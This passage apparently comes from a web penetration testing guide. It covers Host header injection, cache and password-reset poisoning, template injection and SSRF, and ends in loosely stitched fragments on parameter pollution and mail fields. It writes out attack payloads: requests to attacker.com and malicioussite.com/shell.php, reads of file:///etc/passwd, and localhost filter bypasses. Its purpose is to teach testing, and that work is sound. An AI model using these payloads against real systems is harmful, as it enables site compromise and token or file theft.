passing through that web cache will receive the “system down” message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application).
Alternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users. Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether they can successfully inject a CR+LF sequence in it.
The headers that are the most likely candidates for this attack are:
Location
Set-Cookie
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:
The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). They might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with Pragma: no-cache
in the request headers
The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., <
and >
). In this case, the tester can try to use other encodings (e.g., UTF-7)
Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., www.victim.com/redirect.asp
), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.
HTTP Smuggling
7.16 Testing for HTTP Incoming Requests
defensive -
7.17 Testing for Host Header Injection
Example
Initial testing is as simple as supplying another domain (i.e. attacker.com
) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server.
GET / HTTP/1.1 Host: www.attacker.com [...]
In the simplest case, this may cause a 302 redirect to the supplied domain.
HTTP/1.1 302 Found [...] Location: <http://www.attacker.com/login.php
>
Alternatively, the web server may send the request to the first virtual host on the list.
X-Forwarded Host Header Bypass
In the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the X-Forwarded-Host
header.
GET / HTTP/1.1 Host: www.example.com X-Forwarded-Host: www.attacker.com ...
Potentially producing client-side output such as:
... <link src="<http://www.attacker.com/link>" /> ...
Once again, this depends on how the web server processes the header value.
Web Cache Poisoning
Using this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application.
GET / HTTP/1.1 Host: www.attacker.com ...
The following will be served from the web cache, when a victim visits the vulnerable application.
... <link src="<http://www.attacker.com/link>" /> ...
Password Reset Poisoning
It is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.
`... Email snippet ...
Click on the following link to reset your password:
http://www.attacker.com/index.php?module=Login&action=resetPassword&token=<SECRET_TOKEN>
... Email snippet ...`
7.18 Testing for Server-side Template Injection
Identify Template Injection Vulnerability
The first step in testing SSTI in plaintext context is to construct common template expressions used by various template engines as payloads and monitor server responses to identify which template expression was executed by the server.
Common template expression examples:
a{{bar}}b a{{7*7}} {var} ${var} {{var}} <%var%> [% var %]
In this step an extensive template expression test strings/payloads list is recommended.
Testing for SSTI in code context is slightly different. First, the tester constructs the request that result either blank or error server responses. In the example below the HTTP GET parameter is inserted info the variable personal_greeting
in a template statement:
personal_greeting=username Hello user01
Using the following payload - the server response is blank “Hello”:
personal_greeting=username<tag> Hello
In the next step is to break out of the template statement and injecting HTML tag after it using the following payload
personal_greeting=username}}<tag> Hello user01 <tag>
Identify the Templating Engine
Based on the information from the previous step now the tester has to identify which template engine is used by supplying various template expressions. Based on the server responses the tester deduces the template engine used. This manual approach is discussed in greater detail in this PortSwigger article. To automate the identification of the SSTI vulnerability and the templating engine various tools are available including Tplmap or the Backslash Powered Scanner Burp Suite extension.
Build the RCE Exploit
The main goal in this step is to identify to gain further control on the server with an RCE exploit by studying the template documentation and research. Key areas of interest are:
For template authors sections covering basic syntax.
Security considerations sections.
Lists of built-in methods, functions, filters, and variables.
Lists of extensions/plugins.
The tester can also identify what other objects, methods and properties can be exposed by focusing on the self
object. If the self
object is not available and the documentation does not reveal the technical details, a brute force of the variable name is recommended. Once the object is identified the next step is to loop through the object to identify all the methods, properties and attributes that are accessible through the template engine. This could lead to other kinds of security findings including privilege escalations, information disclosure about application passwords, API keys, configurations and environment variables, etc.
7.19 Testing for Server-Side Request Forgery
Load the Contents of a File
GET <https://example.com/page?page=https://malicioussite.com/shell.php
>
Access a Restricted Page
GET <https://example.com/page?page=http://localhost/admin
>
Or:
GET <https://example.com/page?page=http://127.0.0.1/admin
>
Use the loopback interface to access content restricted to the host only. This mechanism implies that if you have access to the host, you also have privileges to directly access the admin
page.
These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, are often what enables SSRF to be a critical vulnerability.
Fetch a Local File
GET <https://example.com/page?page=file:///etc/passwd
>
HTTP Methods Used
All of the payloads above can apply to any type of HTTP request, and could also be injected into header and cookie values as well.
One important note on SSRF with POST requests is that the SSRF may also manifest in a blind manner, because the application may not return anything immediately. Instead, the injected data may be used in other functionality such as PDF reports, invoice or order handling, etc., which may be visible to employees or staff but not necessarily to the end user or tester.
You can find more on Blind SSRF here, or in the references section.
PDF Generators
In some cases, a server may convert uploaded files to PDF format. Try injecting <iframe>
, <img>
, <base>
, or <script>
elements, or CSS url()
functions pointing to internal services.
<iframe src="file:///etc/passwd" width="400" height="400"> <iframe src="file:///c:/windows/win.ini" width="400" height="400">
Common Filter Bypass
Some applications block references to localhost
and 127.0.0.1
. This can be circumvented by:
Using alternative IP representation that evaluate to 127.0.0.1
:
Decimal notation: 2130706433
Octal notation: 017700000001
IP shortening: 127.1
String obfuscation
Registering your own domain that resolves to 127.0.0.1
Sometimes the application allows input that matches a certain expression, like a domain. That can be circumvented if the URL schema parser is not properly implemented, resulting in attacks similar to semantic attacks.
Using the @
character to separate between the userinfo and the host: https://expected-domain@attacker-domain
URL fragmentation with the #
character: https://attacker-domain#expected-domain
URL encoding
Fuzzing
Combinations of all of the above
For additional payloads and bypass techniques, see the references section.
ASP.NET / IIS
All occurrences concatenated with a comma
color=red,blue
ASP / IIS
All occurrences concatenated with a comma
color=red,blue
PHP / Apache
Last occurrence only
color=blue
PHP / Zeus
Last occurrence only
color=blue
JSP, Servlet / Apache Tomcat
First occurrence only
color=red
JSP, Servlet / Oracle Application Server 10g
First occurrence only
color=red
JSP, Servlet / Jetty
First occurrence only
color=red
IBM Lotus Domino
Last occurrence only
color=blue
IBM HTTP Server
First occurrence only
color=red
mod_perl, libapreq2 / Apache
First occurrence only
color=red
Perl CGI / Apache
First occurrence only
color=red
mod_wsgi (Python) / Apache
First occurrence only
color=red
Python / Zope
All occurrences in List data type
color=[‘red’,’blue’]
Authentication
Emissor email
operations with mail boxes (list, read, create, delete, rename)
Destination email
operations with messages (read, copy, move, delete)
Subject
Disconnection
Message body
Attached files